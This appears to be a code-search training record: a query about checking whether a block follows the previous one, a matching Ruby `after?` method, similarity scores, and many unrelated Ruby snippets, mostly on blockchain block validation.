"def create_canvas(w, h, bkg_col)\n @draw = Magick::Draw.new\n @draw.pointsize = @@pointsize # TODO Use height\n @draw.pointsize = @options[:font_size] if @options.has_key?(:font_size)\n @canvas = Magick::Image.new(w , h) { self.background_color = bkg_col }\n\n # Make room for label and last value\n unless @options[:label].nil?\n if (@options[:has_last].nil?)\n @options[:has_last] = true\n end\n @label_width = calculate_width(@options[:label])\n @data_last_width = calculate_width(formatted_last_data_string)\n\n # TODO: Must figure out correct spacing\n @label_and_data_last_width = @label_width + @data_last_width + @@label_margin * 3.0\n w += @label_and_data_last_width\n end\n\n @canvas = Magick::Image.new(w , h) { self.background_color = bkg_col }\n @canvas.format = \"PNG\"\n\n # Draw label and last value\n unless @options[:label].nil?\n if ENV.has_key?('MAGICK_FONT_PATH')\n vera_font_path = File.expand_path('Vera.ttf', ENV['MAGICK_FONT_PATH'])\n @font = File.exists?(vera_font_path) ? vera_font_path : nil\n else\n @font = nil\n end\n @font = @options[:font] if @options.has_key?(:font)\n\n @draw.fill = 'black'\n @draw.font = @font if @font\n @draw.gravity = Magick::WestGravity\n @draw.annotate( @canvas,\n @label_width, 1.0,\n w - @label_and_data_last_width + @@label_margin, h - calculate_caps_height/2.0,\n @options[:label])\n\n @draw.fill = 'red'\n @draw.annotate( @canvas,\n @data_last_width, 1.0,\n w - @data_last_width - @@label_margin, h - calculate_caps_height/2.0,\n formatted_last_data_string)\n end\n end",
"def endRow; @row + @height - 1; end",
"def dividing_line; end",
"def cut_white_space_edges\n x1_array = Array.new\n x2_array = Array.new\n y1_array = Array.new\n y2_array = Array.new\n \n @groups.each do |g|\n x1_array << g.x_pos\n x2_array << g.x_pos + g.width\n y1_array << g.y_pos\n y2_array << g.y_pos + g.height\n end\n \n if @vertical\n #Normal position of the image (up)\n if values_bits[Constants::V_Image_position]< 4.5 \n @height = y2_array.max + @upper_margin\n #Alternative position(down)\n else \n new_height = @height - (y1_array.min-@upper_margin)\n \n @groups.each do |g|\n g.y_pos -= (@height - new_height)\n end\n @main_image.y_pos -= (@height - new_height)\n \n @height = new_height\n end\n else\n #Normal position of the image (left)\n if values_bits[Constants::V_Image_position]< 4.5\n @width = x2_array.max + @sides_margin\n #Alternative position of the image (right)\n else \n new_width = @width - (x1_array.min-@sides_margin)\n \n @groups.each do |g|\n g.x_pos -= (@width - new_width)\n end\n @main_image.x_pos -= (@width - new_width)\n \n @width = new_width\n end\n end\n end",
"def print_in_box(text)\n horizontal = \"+\" + \"-\" * (text.length + 2) + \"+\"\n text_line = \"| \" + text + \" |\"\n vertical = \"|\" + \" \" * (text.length + 2) + \"|\"\n\n puts horizontal\n puts vertical\n puts text_line\n puts vertical\n puts horizontal\nend",
"def self_gate_position\n Vct.new(@width /2, 0)\n end\n #\n # rival's gate position\n #\n def rival_gate_position\n Vct.new(@width /2, height)\n end",
"def draw\n # clear the terminal\n system(\"clear\")\n # draw the top rail\n puts '-' * self.length\n # draw each horse in it's own lane\n self.horses.each do |horse|\n # draw .......all the way up to the position of the horse\n print '.' * horse.position + horse.print\n puts\n # draw the bottom rail\n puts '-' * self.length\n end\n end",
"def center_vertically\n @vertical_align = :center\n return self\n end",
"def horizontal_seperator y, x, x2\n [x, y, x2, y, 150, 150, 150]\n end",
"def width; end",
"def width; end",
"def width; end",
"def width; end"
] |
[
"0.6645652",
"0.6286024",
"0.62096035",
"0.61756593",
"0.61756593",
"0.60523385",
"0.6044686",
"0.6037355",
"0.6013931",
"0.5995753",
"0.59512687",
"0.5858737",
"0.5833532",
"0.577654",
"0.577654",
"0.5773684",
"0.5756636",
"0.5754191",
"0.5733624",
"0.5733624",
"0.57094544",
"0.5697092",
"0.56970584",
"0.5675708",
"0.5675615",
"0.5674588",
"0.56681174",
"0.56554425",
"0.5633688",
"0.5621687",
"0.5615186",
"0.5615186",
"0.56137085",
"0.560567",
"0.5604407",
"0.5603974",
"0.5572358",
"0.55563396",
"0.5539269",
"0.5527936",
"0.5522952",
"0.54938763",
"0.54930174",
"0.5491682",
"0.548518",
"0.54829496",
"0.54829496",
"0.5480017",
"0.54788715",
"0.54724723",
"0.5469317",
"0.5460589",
"0.5455244",
"0.5451119",
"0.5444137",
"0.5438321",
"0.5430957",
"0.54307747",
"0.5424968",
"0.54204637",
"0.5417504",
"0.5397437",
"0.5380236",
"0.5379309",
"0.5375037",
"0.53746736",
"0.5374364",
"0.53725684",
"0.53718424",
"0.5367302",
"0.53631175",
"0.5357713",
"0.5344179",
"0.53427005",
"0.5339082",
"0.5339082",
"0.5338523",
"0.53380257",
"0.5335476",
"0.5332632",
"0.5330601",
"0.53262764",
"0.5316921",
"0.52814716",
"0.52700675",
"0.5270004",
"0.5264249",
"0.5258209",
"0.5254622",
"0.5253121",
"0.5252858",
"0.52456343",
"0.52438176",
"0.52413493",
"0.524055",
"0.52402043",
"0.52332455",
"0.5232016",
"0.5232016",
"0.5232016",
"0.5232016"
] |
0.0
|
-1
|
Check if this block is valid, and appears after prev block
|
def after?(prev_block)
(index - prev_block.index) == 1 && prev_block.time <= time && prev_block.hash == prev_hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def block_valid?(args = {})\n block = Block.find_by(id: args[:block_id])\n previous_block = block.previous_block\n neighbor_blocks_valid?(block, previous_block)\n end",
"def valid_new_block?(new_block, previous_block)\n conditions = {\n (new_block.block_index != (previous_block.block_index + 1)) => \"Invalid index\",\n (previous_block.block_hash != new_block.previous_block_hash) => \"Invalid previous block hash\",\n (calculate_block_hash(new_block) != new_block.block_hash) => \"Invalid block hash\"\n }\n conditions.each do |k,v|\n if k\n puts v\n return false\n end\n end\n true\n end",
"def done?\n\t\treturn @num_valid == @max_block\n\tend",
"def check_block_num(curr_block)\n # make sure number of blocks is in order starting at 0\n return unless curr_block.block_number.to_i != @curr_count\n\n @block_num_error = true\n puts \"Line #{curr_count}: Invalid block number #{curr_block.block_number}, should be #{curr_count} \"\n puts 'BLOCKCHAIN INVALID'\n exit 1\n end",
"def previous_hash_valid?\n\t\treturn self.previous_hash == self.previous_block.block_hash\n\tend",
"def validate(new_block)\n previous_block = find_block_by_height(new_block.height - 1)\n\n # 1. Height.\n if previous_block&.height.to_i + 1 != new_block.height.to_i\n raise \"Height isn't valid\"\n end\n\n if previous_block.nil? == false\n # 2. Previous block hash\n if previous_block.block_header_hash != new_block.previous_block_header_hash\n raise \"Previous block header hash is wrong\"\n end\n\n # 2. Time: Can't be before the previous block.\n if previous_block.time > new_block.time\n raise \"New block can't have been created before the previous one\"\n end\n end\n\n # 3. Transactions: Wallets should only spend fund they own.\n new_block.transactions.each do |transaction|\n if WalletTransfer.find(transaction[\"id\"]).nil? == false\n raise \"A transaction with the same ID already exists on the blockchain\"\n end\n\n case transaction[\"message\"][\"type\"]\n when \"funds_transfer\"\n if valid_cryptography?(transaction) == false\n raise \"Cryptography of the transaction is invalid\"\n end\n\n # The amount + fee needs to be available to the wallet.\n if address_has_enough_funds?(transaction[\"message\"]) == false\n raise \"From address doesn't have enough funds\"\n end\n\n when \"mining_reward\"\n fees = new_block.transactions.reject { |t| t[\"message\"][\"type\"] == \"mining_reward\" }\n .map { |t| BigDecimal(t[\"message\"][\"fee\"]) }\n .reduce(&:+) || BigDecimal(0)\n\n mining_reward = BigDecimal(transaction[\"message\"][\"amount\"])\n if mining_reward != fees + 1\n raise \"Mining reward amount is invalid (#{mining_reward.to_s(\"F\")})\"\n end\n end\n end\n\n # 4. There should be exactly one mining reward transaction.\n mining_rewards = new_block.transactions.reject { |t| t[\"message\"][\"type\"] != \"mining_reward\" }\n if mining_rewards.size != 1\n raise \"Unexpected amount of mining rewards\"\n end\n\n # 5. Merkle tree root: Should be valid.\n merkle_root = MerkleTree.new(*new_block.transactions.map(&:to_json).sort { |a, b| a[\"id\"] <=> b[\"id\"] }).root.value\n if new_block.merkle_root != merkle_root\n raise \"Merkle root is invalid\"\n end\n\n # 6. Block hash: Is it valid and is the level of difficulty what's expected.\n if new_block.compute_block_header_hash != new_block.block_header_hash\n raise \"Block header hash is invalid\"\n end\n\n if new_block.block_header_hash[0, DIFFICULTY_LEVEL] != \"0\" * DIFFICULTY_LEVEL\n raise \"Block doesn't match expected difficulty level\"\n end\n end",
"def check_previous_hashes(block1, block2)\n unless block2.previous_hash.strip.eql? block1.current_hash.strip\n puts \"Line #{block2.block_number}: Previous hash was #{block2.previous_hash.strip},\n \tshould be #{block1.current_hash.strip}\"\n return false\n end\n true\n end",
"def last_block?\n return @last_block\n end",
"def validate_first_block(f_info)\r\n\t\terror_msg = \"\"\r\n\t\tsuccess = true\r\n\r\n\t\t# verifies the timestamps\r\n\t\tsuccess, error_msg = validate_timestamps(f_info)\r\n\t\treturn success, error_msg unless success\r\n\r\n\t\tif f_info['id'] != 0\r\n\t\t\terror_msg = \"Invalid block number #{f_info['id']}, should be 0\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telsif f_info['prev_hash'] != \"0\"\r\n\t\t\terror_msg = \"Previous hash was #{f_info['prev_hash']}, should be 0\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telsif f_info['transaction'].length != 1\r\n\t\t\terror_msg = \"Transaction count for first block was #{f_info['transaction'].length}, should be 1\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telsif not validate_hash(f_info)\r\n\t\t\terror_msg = \"String #{f_info['original'].strip} hash set to #{f_info['self_hash'].strip}, should be #{get_hash(get_string_to_hash(f_info))}\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telse\t\t\t\r\n\t\t\t# updates the transaction logs\r\n\t\t\tsuccess, error_msg = update_billcoins(f_info)\r\n\t\t\t#error_msg = \"\" unless not success\r\n\t\t\treturn success, error_msg unless success\r\n\t\tend\r\n\r\n\t\treturn success, error_msg\r\n\tend",
"def verify_prev_hash(prev_block)\r\n unless prev_block.nil?\r\n hash = prev_block.computed_hash\r\n raise \"Line #{total_block_number}: previous hash was #{hash}, should be #{@prev_hash}\" unless @prev_hash == hash\r\n\r\n end\r\n true\r\n end",
"def valid?\n blocks = Block.all.order(id: :asc).to_a\n blocks[1..-1].each.with_index(1) do |block, index|\n return false unless neighbor_blocks_valid?(block, blocks[index - 1])\n end\n true\n end",
"def valid_after; end",
"def verify_block_num\r\n unless @block_number == @@total_block_number\r\n raise \"Line #{@@total_block_number}: invalid block number #{@block_number}, should be #{@@total_block_number}\"\r\n\r\n end\r\n\r\n true\r\n end",
"def after_block_boundary?; end",
"def candidate_block(block)\n return unless (my_index = block.parent.blocks.find_index block)\n\n next_block = block.parent.blocks[my_index + 1]\n return unless next_block && next_block.context == :pass\n\n next_block\n end",
"def validate_block_chain()\r\n\t\t# exits if file doesn't exist\r\n\t\tif not File.exist? @path\r\n\t\t\tputs 'The file does not exist, the program will exit' ; exit \r\n\t\tend\r\n\r\n\r\n\t\tfirst_line = File.open(@path).first\r\n\t\t# first line block number must be 0, and must only have one transaction\r\n\t\tfirst_block = parse_info(first_line)\r\n\t\ts, e = validate_first_block(first_block)\r\n\t\tif not s\r\n\t\t\tputs \"Line 0: #{e}\"\r\n\t\t\tputs \"BLOCKCHAIN INVALID\"\r\n\t\t\texit()\r\n\t\tend\r\n\r\n\t\t# update the values\r\n\t\t@prev_hash = first_block['self_hash']\r\n\r\n\t\tFile.readlines(@path).drop(1).each.with_index do |line, line_num|\r\n\t\t\t# line_num will be used to check the block number\r\n\t\t\t# line_num + 1 == block number\r\n\r\n \t\t\tblock = parse_info(line)\r\n \t\t\ts, e = validate_block(block, line_num + 1)\r\n \t\t\tif not s\r\n\t\t\t\tputs \"Line #{line_num + 1}: #{e}\"\r\n\t\t\t\tputs \"BLOCKCHAIN INVALID\"\r\n\t\t\t\texit()\r\n\t\t\tend\r\n\r\n\t\t\t# update the values\r\n\t\t\t@prev_hash = block['self_hash']\r\n\r\n\t\tend\r\n\r\n\t\treturn nil\r\n\tend",
"def valid()\n if (@block) then @block.call(true) end\n end",
"def valid_chain(chain)\n last_block = chain[0]\n current_index = 1\n\n while current_index < chain.length\n block = chain[current_index]\n puts \"Last Block: #{last_block}\"\n puts \"Block: #{block}\"\n puts \"\\n====================\\n\"\n\n # Check if the hash of the block is correct\n return false if block[:hash] != hash(last_block)\n\n # Check that the proof of work is correct\n return false if valid_proof(last_block[:proof], block[:proof])\n\n last_block = block\n current_index += 1\n end\n\n # All blocks in the chain are valid\n return true\n end",
"def ensure_valid_event\n next_event = Event.sorted.where(\"event_at > ? \", self.event_at_was).first\n previous_event = Event.sorted.where(\"event_at < ? \", self.event_at_was).last\n if next_event && self.event_at > next_event.event_at\n self.errors.add(:event_at, \"exceeded with next event\")\n elsif previous_event && self.event_at < previous_event.event_at\n self.errors.add(:event_at, \"becomes older with the previous event\")\n end\n end",
"def validate_block(info, line_number)\r\n\t\terror_msg = \"\"\r\n\t\tsuccess = true\r\n\r\n\t\t# verifies the timestamps\r\n\t\tsuccess, error_msg = validate_timestamps(info)\r\n\t\treturn success, error_msg unless success\r\n\r\n\t\tif info['id'] != line_number\r\n\t\t\terror_msg = \"Invalid block number #{info['id']}, should be #{line_number}\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telsif info['prev_hash'].strip != @prev_hash.strip\r\n\t\t\terror_msg = \"Previous hash was #{info['prev_hash']}, should be #{@prev_hash}\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telsif not validate_hash(info)\r\n\t\t\terror_msg = \"String #{info['original'].strip} hash set to #{info['self_hash'].strip}, should be #{get_hash(get_string_to_hash(info))}\"\r\n\t\t\tsuccess = false\r\n\t\t\treturn success, error_msg\r\n\t\telse\r\n\t\t\t# updates the transaction logs\r\n\t\t\tsuccess, error_msg = update_billcoins(info)\r\n\t\t\t#error_msg = \"\" unless not success\r\n\t\t\treturn success, error_msg unless success\r\n\t\tend\r\n\r\n\t\treturn success, error_msg\r\n\tend",
"def verify_timestamp(prev_block)\r\n unless prev_block.nil?\r\n prev_timestamp = prev_block.timestamp\r\n prev_seconds = prev_timestamp.split('.')[0].to_i\r\n\r\n curr_seconds = @timestamp.split('.')[0].to_i\r\n\r\n if prev_seconds == curr_seconds\r\n prev_nano = prev_timestamp.split('.')[1].to_i\r\n curr_nano = @timestamp.split('.')[1].to_i\r\n if prev_nano >= curr_nano\r\n raise \"Line #{total_block_number}: Prev timestamp #{prev_timestamp} >= new timestamp #{@timestamp}\"\r\n end\r\n elsif prev_seconds > curr_seconds\r\n raise \"Line #{total_block_number}: Prev timestamp #{prev_timestamp} >= new timestamp #{@timestamp}\"\r\n end\r\n true\r\n end\r\n end",
"def insert_blocks(blocks, validate: true)\n prev_block = blocks[0]\n blocks[1..-1].each do |block|\n unless block.number == prev_block.number + 1 && block.parent_hash == prev_block.get_hash\n raise InvalidBlockError.new(\"blocks insert orders not correct\")\n end\n end\n\n blocks.each do |block|\n import_block(block, validate: validate)\n end\n end",
"def insert_blocks(blocks, validate: true)\n prev_block = blocks[0]\n blocks[1..-1].each do |block|\n unless block.number == prev_block.number + 1 && block.parent_hash == prev_block.get_hash\n raise InvalidBlockError.new(\"blocks insert orders not correct\")\n end\n end\n\n blocks.each do |block|\n import_block(block, validate: validate)\n end\n end",
"def validate_block(block)\n # check block ready conditions\n # 1. parent block must already be accepted.\n parent_block = get_block(block.parent_hash)\n raise BlockNotReadyError.new(\"can't find parent block by hash #{block.parent_hash.to_hex}\") unless parent_block\n # TODO 2. pow_chain_ref block must already be accepted.\n # 3. local time must greater or equal than minimum timestamp.\n unless (local_timestamp = Time.now.to_i) >= (minimum_timestamp = genesis_time + block.slot_number * SLOT_DURATION)\n raise BlockNotReadyError.new(\"local_timestamp(#{local_timestamp}) must greater than or equal with minimum_timestamp(#{minimum_timestamp})\")\n end\n end",
"def invalid?(&_block)\n end",
"def check_block\n finished = @finishable.nil? or @finishable.is_finished?\n puts finished\n if finished\n @finishable, @blocked = nil, false\n return @blocked\n end\n \n @blocked = !finished\n end",
"def _BlockEnd\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = match_string(\"}\")\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Le)\n unless _tmp\n self.pos = _save\n break\n end\n while true\n _tmp = apply(:_EmptyLine)\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_BlockEnd unless _tmp\n return _tmp\n end",
"def valid?\n @points.count > 3 && @points.first == @points.last\n end",
"def validate_response\n\n unless @block_data_response.success?\n notify_dev(@block_data_response.data.merge(msg: \"Error while fetching block\"))\n return error_with_data(\n 'c_rbe_2',\n 'error while fetching block',\n 'error while fetching block',\n GlobalConstant::ErrorAction.default,\n {}\n )\n end\n\n meta = @block_data_response.data[:meta]\n @transactions = @block_data_response.data[:transactions]\n\n\n if (meta[:current_block][:block_number].to_i != @current_block_number)\n notify_dev(@block_data_response.data.merge(msg: \"Urgent::Block returned is invalid\"))\n return error_with_data(\n 'c_rbe_1',\n 'invalid block returned',\n 'invalid block returned',\n GlobalConstant::ErrorAction.default,\n {}\n )\n end\n\n @current_block_hash = meta[:current_block][:block_hash]\n @block_creation_timestamp = meta[:current_block][:timestamp].to_i\n @highest_block_number = meta[:hightest_block].to_i\n\n success\n end",
"def validate_chain(chain)\n # the chain is valid unless proved otherwise\n chain_is_valid = true\n\n # the chain has a list of blocks under the 'blocks' key\n chain['blocks'].each do |block|\n # for each block, check if the value of block['previous_hash'] has the expected value\n end\n\n # return the valid state of the chain\n chain_is_valid\nend",
"def validate_order!\n _validate_order!\n rescue AASM::InvalidTransition => e\n false\n end",
"def check_ending(_result)\n end",
"def halted?\n @current >= (@size - 1)\n end",
"def check_block_number(index_num, block)\n if index_num != block.block_number\n puts \"Line #{index_num}: Invalid block number #{block.block_number}, should be #{index_num}\"\n return false\n end\n true\n end",
"def append_verified_block(block)\n @chain << block\n @ledger.write(block)\n\n if block.index % BLOCK_REBALANCE_OFFSET == 0\n rebalance_difficulty\n end\n end",
"def early_or_late?(line_token)\n\t\tline_token[3].scan(/^Validity:(pre|post)/).any?\n\tend",
"def validate_block(amount, signature, timestamp, prev_hash, nonce, hash, payer, payee, miner)\r\n puts \"Validating Block From #{payer}...\".blue\r\n error = \"\"\r\n if (hash.start_with?(\"0\" * NONCE_ZEROES))\r\n peer = search_peers_by_port(payer)\r\n if (peer != -1)\r\n if (validate_signature(peer.key_public, signature, timestamp))\r\n if $blockchain.length == 0\r\n return true\r\n else\r\n if (peer.balance.to_f >= amount.to_f)\r\n prev_block = $blockchain[$blockchain.length - 1]\r\n prev_block_hash = Digest::SHA256.new.hexdigest(prev_block.amount.to_s + prev_block.payer.to_s + prev_block.payee.to_s + prev_block.miner.to_s + prev_block.timestamp.to_s + prev_block.signature.to_s + prev_block.prev_hash.to_s + prev_block.nonce.to_s)\r\n if (prev_hash == prev_block_hash)\r\n return true\r\n else\r\n error = \"Previous Hash = #{prev_hash}\\nThis Block Has #{prev_block_hash}, Not Matching.\"\r\n end\r\n else\r\n error = \"Payer doesn't have enough Swincoins.\"\r\n end\r\n end \r\n else\r\n error = \"Wrong Signature.\"\r\n end\r\n else\r\n error = \"Peer Not Found.\"\r\n end\r\n else\r\n error = \"Hash #{hash} Not Nonced, no Proof of Work Found.\"\r\n end\r\n # If Payer Sends Invalid Block, Add Them To Rogue List\r\n puts \"INVALID BLOCK... BLACKLISTING PEER #{payer}\".red\r\n puts error.red\r\n $status = \"INVALID BLOCK... BLACKLISTING PEER #{payer} because #{error}\"\r\n peer = search_peers_by_port(payer)\r\n peer.node_type = 3 if (peer != -1)\r\n return false\r\nend",
"def previous?\n return false if previous.nil? || previous.lines.empty?\n\n true\n end",
"def new_line_needed_before_closing_brace?(node)\n last_element_line =\n last_element_range_with_trailing_comma(node).last_line\n\n last_element_commented = processed_source.comment_at_line(last_element_line)\n\n last_element_commented && (node.chained? || node.argument?)\n end",
"def previous_is? &block\n first? ? nil : yield(element, self.previous)\n end",
"def valid?\n\t\tunless self.has_valid_payload?\n\t\t\tself.log.error \"Corrupted payload in block %d (hash mismatch)\" % [ self.index ]\n\t\t\treturn false\n\t\tend\n\n\t\treturn true if self.genesis?\n\n\t\tunless self.previous_hash_valid?\n\t\t\tself.log.error \"Hash mismatch in block %d\" % [ self.index ]\n\t\t\treturn false\n\t\tend\n\n\t\tunless self.has_valid_proof?\n\t\t\tself.log.error \"Invalid proof-of-work in block %d\" % [ self.index ]\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend",
"def tell; @next_block_pos end",
"def previous?\n (previous.nil? || previous.lines.empty?) ? false : true\n end",
"def is_block?(pnl)\n x = pnl[0]\n y = pnl[1]\n empty?([x, y]) && empty?([x+1, y]) && empty?([x, y+1]) && empty?([x+1, y+1])\n end",
"def check_previous_hash_zero(block)\n unless block.previous_hash.eql? '0'\n puts \"Line #{block.block_number}: Previous hash was #{block.previous_hash.strip}, should be 0\"\n return false\n end\n true\n end",
"def is_after?(step_nr)\n return !flow.flow_step_is_before?(current_step:step, other_step:step_nr)\n end",
"def confirm_batch_gap\n batches.length.downto(2) do |index|\n if(batches[index-1].start_time < batches[index-2].end_time)\n errors.add(:base, \"Please start batch #{index} after the end time of batch #{index-1}\")\n return false\n end\n end\n end",
"def validate!\n # If we get num_blocks and block_size, then the user's done something\n # wrong; just take block_size\n self.num_blocks = 0 if num_blocks.positive? && block_size.positive?\n\n # Default to a single block unless otherwise specified\n self.num_blocks = 1 if num_blocks <= 0 && block_size <= 0\n\n reset!\n end",
"def is_block_valid?(hash)\n if @block_index.block_header_in_index?(hash)\n return true\n end\n !Toshi::Models::Block.main_or_side_branch.where(hsh: hash).empty?\n end",
"def block_valid?(block, difficulty = 4)\n block.valid?(difficulty) &&\n block.parent_digest == head_digest &&\n balances([block]).none? { |user, balance| balance < 0 }\n end",
"def block_valid?(block)\n # ...\n end",
"def previous?\n previous.any? { |k, v| k == :lines && v.any? }\n end",
"def validate_items\n # Either a block may be passed, or a literal block may be created, but not both\n if block_pass && block\n error \"cannot pass a block in the arguments and give a literal block at the same time\"\n end\n \n # Block pass only valid at end of args. Note this also implies that multiple block passes\n # are invalid.\n if block_pass && block_pass != items.last\n error \"a block pass must only occur at the end of the argument list\"\n end\n end",
"def before_block_boundary?; end",
"def process_block(block, raise_errors=false, current_time=nil)\n result = false\n Toshi::Utils.synchronized(Toshi::Lock::PROCESS_BLOCK) do\n @output_cache.flush\n @storage.current_block = nil\n accepted_parents = []\n begin\n result = process_block_internal(block, raise_errors, current_time)\n if result && @storage.is_block_valid?(block.hash)\n # this block is a valid parent\n accepted_parents = [ block.hash ]\n end\n if !result\n logger.debug {\"process_block_internal false for block: #{block.hash}\"}\n end\n rescue ValidationError\n @storage.current_block = nil\n raise if raise_errors\n return result\n end\n\n # consume the array of parents from beginning to the end.\n while accepted_parent_hash = accepted_parents.shift\n # Try to accept the orphan and remove it from the database.\n @storage.orphan_blocks_with_parent(accepted_parent_hash).each do |orphan|\n accepted_parents += accept_orphan(orphan)\n end\n end # end checking orphans recursively.\n\n @storage.current_block = nil\n\n end # synchronized\n result\n end",
"def accept_block(block, state)\n start_time = Time.now\n\n # If it's a genesis block, it was already saved in process_block, nothing to do here.\n # (In fact, this condition should never happen here.)\n if block.hash == Bitcoin.network[:genesis_hash]\n return true\n end\n\n prev_block_header = @storage.block_header_for_hash(block.prev_block_hex)\n\n # Compute new height as height of the previous block + 1.\n new_height = @storage.height_for_block_header(prev_block_header) + 1\n\n # Check for duplicates once again, like in Bitcoind (but not orphans as we may be processing orphan right now)\n if @storage.is_block_valid?(block.hash)\n raise BlockValidationError, \"AcceptBlock() : block already validated\"\n return false\n end\n\n # Check proof of work\n\n if !@debug_skip_proof_of_work_check\n next_bits = self.block_next_bits_required(block)\n if next_bits != block.bits\n if @verbose_logging\n puts \"block #{block.hash} bits: #{block.bits} (required next bits: #{next_bits})\"\n trace_execution_steps do\n self.block_next_bits_required(block)\n end\n end\n raise BlockValidationError, \"AcceptBlock() : incorrect proof of work. Expected: #{next_bits}. Got: #{block.bits}.\"\n end\n end\n\n # Check timestamp against previous blocks\n if block.time <= self.block_median_timestamp_for_block_header(prev_block_header)\n raise BlockValidationError, \"AcceptBlock() : block's timestamp is too early\"\n end\n\n # Check that all transactions are finalized\n block.tx.each do |tx|\n if !self.tx_is_final?(tx, new_height, block.time)\n raise BlockValidationError, \"AcceptBlock() : contains a non-final transaction\"\n end\n end\n\n # Check that the block chain matches the known block chain up to a checkpoint.\n # If this block's height matches the height of a known checkpoint, make sure it's the same block.\n # See Checkpoints::CheckBlock() in bitcoind.\n checkpoint_hash = !@checkpoints_disabled && new_height && Bitcoin.network[:checkpoints][new_height]\n if checkpoint_hash && block.hash != checkpoint_hash\n raise BlockValidationError, \"AcceptBlock() : rejected by checkpoint lock-in at %d\" % [new_height]\n end\n\n # Don't accept any forks from the main chain prior to last checkpoint\n checkpoint_hash = self.latest_checkpoint_hash\n if !@checkpoints_disabled && checkpoint_hash && new_height < self.height_of_checkpoint(checkpoint_hash)\n raise BlockValidationError, \"AcceptBlock() : forked chain older than last checkpoint (height %d)\" % [new_height]\n end\n\n # BIP34 introduced blocks version 2 that contain their height in the coinbase script.\n # https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki\n\n # BIP34 Part 1. Reject block.nVersion=1 blocks when 95% (75% on testnet) of the network has upgraded:\n if block.ver < 2\n if ((!is_testnet? && verify_block_version_super_majority(2, prev_block_header, 950, 1000)) ||\n (is_testnet? && verify_block_version_super_majority(2, prev_block_header, 75, 100)))\n raise BlockValidationError, \"AcceptBlock() : rejected nVersion=1 block #{block.hash}\"\n end\n end\n\n # BIP66: Reject block.nVersion=2 blocks when 95% (75% on testnet) of the network has upgraded:\n if block.ver < 3\n if ((!is_testnet? && verify_block_version_super_majority(3, prev_block_header, 950, 1000)) ||\n (is_testnet? && verify_block_version_super_majority(3, prev_block_header, 75, 100)))\n raise BlockValidationError, \"AcceptBlock() : rejected nVersion=2 block #{block.hash}\"\n end\n end\n\n # BIP34 Part 2. Enforce block.nVersion=2 rule that the coinbase starts with the serialized block height\n if block.ver >= 2\n # if 750 of the last 1,000 blocks are version 2 or greater (51/100 if testnet)\n if ((!is_testnet? && verify_block_version_super_majority(2, prev_block_header, 750, 1000)) ||\n (is_testnet? && verify_block_version_super_majority(2, prev_block_header, 51, 100)))\n\n if block.bip34_block_height != new_height\n # DoS 100\n raise BlockValidationError, \"AcceptBlock() : block height mismatch in coinbase\"\n end\n end\n end\n\n # Here bitcoind does three things:\n # 1. WriteBlockToDisk - this is already taken care of by RawBlock\n # 2. AddToBlockIndex - here mainchain is determined and the rest of validations is performed.\n # 3. Relay inventory\n # In our case, we need to compute which is the main chain\n # and disconnect/connect blocks while validating individual transactions.\n\n measure_method(:accept_block, start_time)\n log_raw_block_events(block.hash, \"accept_block processing time: #{(Time.now - start_time).to_f}\")\n\n result = false\n begin\n result = self.add_block(block, state)\n rescue ValidationError => ex\n # We didn't completely succeed in connecting the best chain.\n # We may have now partially disconnected the proper main chain.\n # Perform the below to get us back into a correct state.\n activate_best_chain(state)\n # Re-raise.\n raise ex\n end\n\n if result\n # Relay inventory: the peer manager will enforce that we don't send old blocks.\n relay_block_to_peers(block)\n end\n\n return result\n end",
"def verify_previous_hash(previous_hash, target_hash, line_no)\n unless previous_hash.eql? target_hash\n raise BlockFormatError, \"Line #{line_no}: Previous hash was #{target_hash}, should be #{previous_hash}\"\n end\n\n previous_hash\nend",
"def valid?\n @slot_first && @slot_last && @slot_time\n end",
"def covers_last?(slot)\n slot.to >= slot_last\n end",
"def gap?(this_slot, next_slot)\n !(next_slot.nil? || finish_of(this_slot) == start_of(next_slot))\n end",
"def valid_before; end",
"def _HtmlBlockPre\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_HtmlBlockOpenPre)\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # choice\n _tmp = apply(:_HtmlBlockPre)\n break if _tmp\n self.pos = _save2\n\n _save3 = self.pos\n while true # sequence\n _save4 = self.pos\n _tmp = apply(:_HtmlBlockClosePre)\n _tmp = _tmp ? nil : true\n self.pos = _save4\n unless _tmp\n self.pos = _save3\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save3\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save2\n break\n end # end choice\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_HtmlBlockClosePre)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_HtmlBlockPre unless _tmp\n return _tmp\n end",
"def check_ahead\n block_movement unless valid_coordinates?(*coords_ahead)\n end",
"def contested?(block_number)\n @block_stacks[block_number].count > 1\n end",
